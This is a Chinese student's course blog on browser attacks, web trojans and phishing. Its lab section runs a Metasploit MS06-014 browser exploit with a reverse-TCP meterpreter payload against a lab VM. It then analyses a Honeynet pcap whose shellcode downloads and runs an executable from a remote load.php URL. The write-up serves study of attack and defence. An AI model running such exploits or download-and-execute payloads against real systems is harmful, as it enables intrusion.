《网络攻防实践》13.0
20199110 2019-2020-2 《网络攻防实践》第十二周作业
1.实践内容
第十一章是Web浏览器安全攻防,属于第四部分Web安全攻防技术与实践。包括Web浏览器的技术发展与安全威胁、Web浏览端的渗透攻击威胁——网页木马、揭开网络钓鱼的黑幕三部分内容。
1.1 Web浏览器的技术发展与安全威胁
1.1.1 Web浏览器战争与技术发展
Web浏览器(Web Browser)是目前互联网用户最常用的客户端软件。从诞生之日起,Web浏览器市场就成为了商业竞争战场。
1.1.1.1 浏览器战争
-
第一次浏览器战争发生在1995-1998年间,对阵双方是网景公司的Netscape浏览器和微软公司的IE浏览器。
-
第二次浏览器战争以占有市场领先地位的微软IE浏览器与基于开源内核的Firefox、Chrome、Safari等浏览器在PC上的竞争,以及新兴移动终端平台浏览器市场的竞争为主线。
-
中国浏览器市场也是呈现一片乱战态势,但与全球市场格局有显著差异。国内PC浏览器市场中,IE内核浏览器市场份额巨大,移动端浏览器则呈现百花齐放的态势。激烈的商业竞争促进了浏览器技术的不断创新与发展。
1.1.1.2 现代Web浏览器的基本结构与机理
现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。
现代Web浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍采用各种扩展机制允许第三方开发插件以提升浏览器软件功能的丰富性。
除了扩展插件机制之外,现代Web浏览器还通过各种客户端脚本执行环境、独立“沙箱”运行环境和虚拟机来支持构造具有桌面应用程序特性的富Internet应用(RIA:Rich Internet Application)。
1.1.2 Web浏览的安全问题与威胁
1.1.2.1 Web浏览器软件的安全困境三要素
-
在复杂性方面,现代Web浏览器软件由于需要支持多种类型应用层协议、一系列页面标准规范、多种客户端执行环境,并满足大量的用户浏览需求,因此变得非常复杂和庞大。
-
在可扩展性方面,现代Web浏览器可能是最突出可扩展特性支持的软件类型。
-
在连通性方面,现代Web浏览器本身就是要为用户实现“随时随地浏览互联网”。
1.1.2.2 Web浏览安全威胁位置
作为整个Web应用体系结构中的客户端,Web浏览器所处系统平台、Web浏览器软件及插件程序、以及使用浏览器的终端用户一起构成了一个完整的Web浏览环境。有如下四种安全威胁:
-
针对传输网络的网络协议安全威胁
-
针对Web浏览端系统平台的安全威胁
-
针对Web浏览器软件及插件程序的渗透攻击威胁
-
针对互联网用户的社会工程学攻击威胁
1.2 Web浏览端的渗透攻击威胁——网页木马
1.2.1 网页木马安全威胁的产生背景
- 网页木马的产生与发展背景
网页木马是从恶意网页脚本所孕育和发展出来的。网页木马安全威胁在中国互联网上出现于2003年甚至更早。网页木马出现并一直存在的原因包括经济层面由利益所驱动的地下经济链,以及技术层面在大量互联网用户主机上存在的Web浏览端安全漏洞。
- 网页木马发展与流行的驱动力——黑客底下经济链
网络虚拟资产盗窃的“黑客”地下经济链中包括下列六种不同类型的参与者:病毒编写者、黑站长/网络骇客、“信封”盗窃者、虚拟资产盗窃者、虚拟资产卖家、玩家。
这六种类型不同的参与者之前的交易发生在“地下黑市”和“虚拟资产公开市场”两个不同的网络位置,“地下黑市”主要分布在Web论坛和BBS中。
- 网页木马存在的技术基础——Web浏览端安全漏洞
典型的网页木马利用漏洞有如下特性:网页木马所攻击的安全漏洞存在位置非常多样化,网页木马在不断发掘和利用其它流行应用软件中的安全漏洞,影响范围广的安全漏洞会被网页木马持续利用等。
1.2.2 网页木马的机理分析
我们定义网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码。网页木马具备如下特性:
-
多样化的客户端渗透攻击位置和技术类型
-
分布式、复杂的微观链接结构
-
灵活多变的混淆与对抗分析能力
网页木马的本质核心是浏览器渗透攻击,典型的有MS06-014安全漏洞渗透攻击和ANI光标漏洞渗透攻击。网页挂马机制很多,最主要有如下四类策略:内嵌HTML标签、恶意Script脚本、内嵌对象链接和ARP欺骗挂马。
除了引入中间跳转节点进行嵌套链接,并集成多种渗透攻击代码外,网页木马攻击网络中还往往采用了大量的混淆技术。目前在网页木马中使用的混淆方法多种多样,在黑客社区中还提供了很多在线网页混淆工具。
1.2.3 网页木马的检测与分析技术
网页木马的分析与检测技术方法有:
-
基于特征码匹配的传统检测方法
-
基于统计与机器学习的静态分析方法
-
基于动态行为结果判定的监测分析方法
-
基于模拟浏览器环境的动态分析检测方法。
针对网页木马的检测分析方法分为静态分析和动态分析两大类。
-
静态分析方法试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建出较为准确的检测方法;
-
动态行为分析方法实质上是从网页木马的外部表现行为触发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定。
1.2.4 网页木马实际案例分析
本部分主要介绍了两个典型的网页木马实际案例:反应黑客地下经济链的18dd.net大规模网页木马攻击网络案例和高校精品课程网站被SQL注入攻击导致网页挂马攻击案例。
1.2.5 网页木马防范措施
提升操作系统与浏览端平台软件安全性(采用操作系统和第三方软件的更新机制);安装与实时更新一款优秀的反病毒软件(同时养成安全上网浏览的良好习惯);做互联网网民中的少数派可以有效避免网页木马的侵扰(安装MAC OS/Linux操作系统并使用Safari等冷门浏览器)。
1.3 揭开网络钓鱼的黑幕
网络钓鱼(Phishing)是社会工程学在互联网中广泛实施的一种典型攻击方式。通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(用户名、口令等)。
1.3.1 网络钓鱼技术概述
最早系统性地对网络钓鱼这种攻击行为进行研究的是美国黑客Gordon和Chess。早期网络钓鱼攻击主要目的是获得受害者的AOL等网络服务账号的访问权。随着中国互联网服务的日渐普遍,2004年以来,国内网络钓鱼攻击也呈现越来越多样化的趋势。
1.3.2 网络钓鱼攻击的技术内幕
The Honeynet Project利用部署蜜罐系统所实际捕获的两次网络钓鱼攻击场景案例:在攻陷的服务器上钓鱼(攻击者在互联网上扫描并攻陷存有安全漏洞的服务器,然后在上面实施网络钓鱼攻击)和部署重定向服务搭建钓鱼攻击网络(攻击者充分利用大量被攻陷的服务器资源部署钓鱼攻击网络)。
钓鱼攻击的具体技术与策略:首先架设支撑钓鱼攻击的底层基础设施,然后欺骗互联网用户访问钓鱼网站。具体的欺骗技巧有:在指向假冒网站的链接中使用IP地址代替域名、注册发音相近或形似的DNS域名并架设假冒网站、架设假冒网站作为目标机构真实网站的代理等。
1.3.3 网络钓鱼攻击的防范
国际反网络钓鱼工作组(Anti-Phishing Work Group, APWG)成立于2003年,是专注于消除日益严重的网络钓鱼、犯罪软件和电子邮件诈骗所带来的身份盗窃和欺诈问题的行业协会。
中国在2008年成立了反钓鱼联盟,成员包括中国互联网络信息中心CNNIC、CNCERT/CC等国家监管部门、域名管理与注册服务机构、银行证券类网站、电子商务类网站、网站安全公司及浏览器厂商。
具体的防范措施包括:
-
谨慎对待中奖、优惠、紧急状态等各种名义索取个人敏感信息的邮件;
-
充分利用浏览器软件和网络安全厂商所提供的的反钓鱼网站功能特性;
-
重视网上银行、证券基金等关键访问网站的真实性;
-
通过学习和修炼提升自己抵抗社会工程学攻击的能力。
2.实践过程
任务一
动手实践——Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
- 攻击机:BT4 Linux攻击机或Windows XP Attacker 攻击机, 使用其中安装的Metasploit渗透攻击框架软件;
- 靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或Windows XP靶机。
实验步骤; - 选择使用Metasploit中的MS06-014渗透攻击模块(ie_createobject);
- 选择PAYLOAD为任意远程Shell连接;
- 设置服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
- 在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚木URL;
- 在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远桯控制会话SESSION,在靶机上远程执行命令。
实操
首先交待实验环境:攻击机kali的IP为192.168.200.5
,靶机IP为192.168.200.10
。
(1)在kali中使用msfconsole
指令打开metasploit,然后使用search MS06-014
查看漏洞的相关信息,使用选择漏洞use exploit/windows/browser/ie_createobject
选择漏洞,然后show payloads
查看可用负载。
(2)设置payload为set payload windows/meterpreter/reverse_tcp
,设置攻击机地址192.168.200.5
,设置靶机地址为192.168.200.10
,然后执行run
。
(3)根据上步得到的Local IP
,通过靶机的浏览器访问该地址,浏览器返回一串字符。
这个时候我们观察攻击机的行为,果然已经建立起了一个会话,攻击成功。
(4)最后我们验证下会话是否有效吧,我们使用指令sessions -i 1
打开会话。然后执行指令ipconfig
,发现执行成功,sessions成功建立。
任务二
课外实践作业
取证分析实践:剖析一个实际的网页木马攻击场景
案例分析挑战内容:2007年10月,北京大学计算机科学技术研究所信息安全工程研究中心“蜜网”课题组的成员在进行分析中国万维网挂马网站的采样分析时,发现了一个域名为18dd.net的庞大的木马宿主站点。在链接分析的过程中,发现有大量恶意网页最终都重定向到了这个站点上,这在全部的宿主站点中排名第一。进一步的研究分析表明,这个站点的恶意代码入口是http://aa. 18dd.net/ww/new09.htm文件。现在你的任务是根据给出的说明逐步分析,得到最终的木马文件的内容。
这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问start.html, 在这个文件中给出了new09.htm的地址,在进入new09.htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到http://netsec.ccert.edu.cn/hacking/目录(或者附带资料中的解压缩数据目录)下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密:如果解密出的地址二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的URL形式,形如http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
问题:
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
- 解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?(请举例分析)
任务三
攻防对抗实践:Web浏览器渗透攻击攻防对抗
攻击方使用Metasploit构造出攻击至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理后组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态,并分析出这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
双方撰写详细实验分析报告,对攻防对抗过程进行总结。
任务四
取证分析挑战实践:Web浏览器遭遇攻击
通过分析以下给出的网络记录pcap文件(suspicious-time.pcap Sha1: 1f10c8a4996fafa80d47202881a17796941fd337),回答以下问题并撰写实践分析报告。
l. 列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
2. 列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
3. 列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?诸描述恶意网页的攻击目的?
4. 请给出攻击者执行攻击动作的概要描述。
5. 攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。
6. 攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
7. Shellcode执行了哪些动作?请列出Shellcode的MD5, 并比较它们之间的养异?
8. 在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
实操
(1)使用git clone https://github.com/brendangregg/Chaosreader
指令进行工具的下载。然后利用./chaosreader suspicious-time.pcap
读取文件,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑,并且通过Wireshark打开追踪HTTP流还会发现sploitme关键字段。
(2)我们使用下面的指令来查询有哪些IP地址和域名在进行攻击。
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort
其中,.http.html
文件读取,筛选主机并列出来。通过图片可以看到,rapidshare.com.eyu32.ru
对应192.168.56.50
,sploitme.com.cn
对应192.168.56.50
,shop.honeynet.sg
对应192.168.56.51
。
我们可以获得下述信息:
- 服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)
- 受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
- 模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)
- 攻击者:192.168.56.52 ( “sploitme.com.cn”)
下面就是确定这是安装在什么环境了,我们利用指令列出 netbios 主机名和工作组,发现都是一样,所以应该是配置在虚拟机下面的。
(3)通过Wireshark可以查看所有的访问的Web界面,然后主要是找出哪些是恶意的js脚本及其目的。
(4)通过打开session_0006.part_01.html
发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php
。
然后我们找sploitme.com.cn
,404 NotFound
了,这个对应文件session_0007.part_02.html
。
下面找shop.honeynet.sg/catalog/
,对应文件session_0032.part_01.html
。
(5)首先我们追踪TCP 142号流,可以查看到这是一个针对Windows XP系统的,主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。然后主要是哪几种漏洞,这个我找了很久没看出来,估计是被加密的,应该要解密之后才能看出来。下面展示的漏洞都是答案给的。
MDAC RDS.Dataspace ActiveX control
AOL IWinAmpActiveX control (AmpX.dll)
DirectShow ActiveX control (msvidctl.dll)
Office Snapshot Viewer ActiveX control
COM Object Instantiation (msdds.dll)
Office Web Components ActiveX control
可以通过修补操作系统和应用程序,进行定期更新以及使用“ ActiveX杀手”或完全使用其他Web浏览器来防止攻击。
(6)首先给出Shellcode的执行过程,Shellcode获取系统临时文件路径,加载urlmon.dll
,从URLhttp://sploitme.com.cn/fg/load.php?e=1
检索可执行文件,然后执行它。 Shellcode之间的唯一区别是对load.php
脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。其实shellcode可以在tcp流中看到,下图所示的部分就是shellcode的部分,但是不知道怎么提取出来,所以下面的MD5也没有进行测试。
(7)首先,这是有恶意软件的参与的,通过这个网站也可以看到有几个可执行程序,整个攻击是使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。 恶意可执行软件这是load.php
发送的Win32可执行文件,它通过Internet Explorer
加载www.honeynet.org
。
3.学习中遇到的问题及解决
-
问题1:本次实践中,attacker复制粘贴功能多次失效。
-
问题1解决方案:通过多次重启解决,事发原因和解决机理未知。
-
问题2:任务二和任务三因能力受限,暂时未能解决。
-
问题2解决方案:继续学习,等待解决方案。
4.实践总结
本次实践综合性强,除了第一个任务在之前的实践中有所涉及,其他三个任务都是属于本章节新增知识点。同此前实践操作类似,主要基于建国同学的博客完成实践内容,部分内容还处理消化理解中。
这是诸葛建伟《网络攻防实践》一书最后一章的内容,也是最后的四个实践内容。总的来说,博客的内容和撰写占据一周较多时间。主要作业内容以工具使用为主,我感觉能够熟练使用工具就已经很不错了。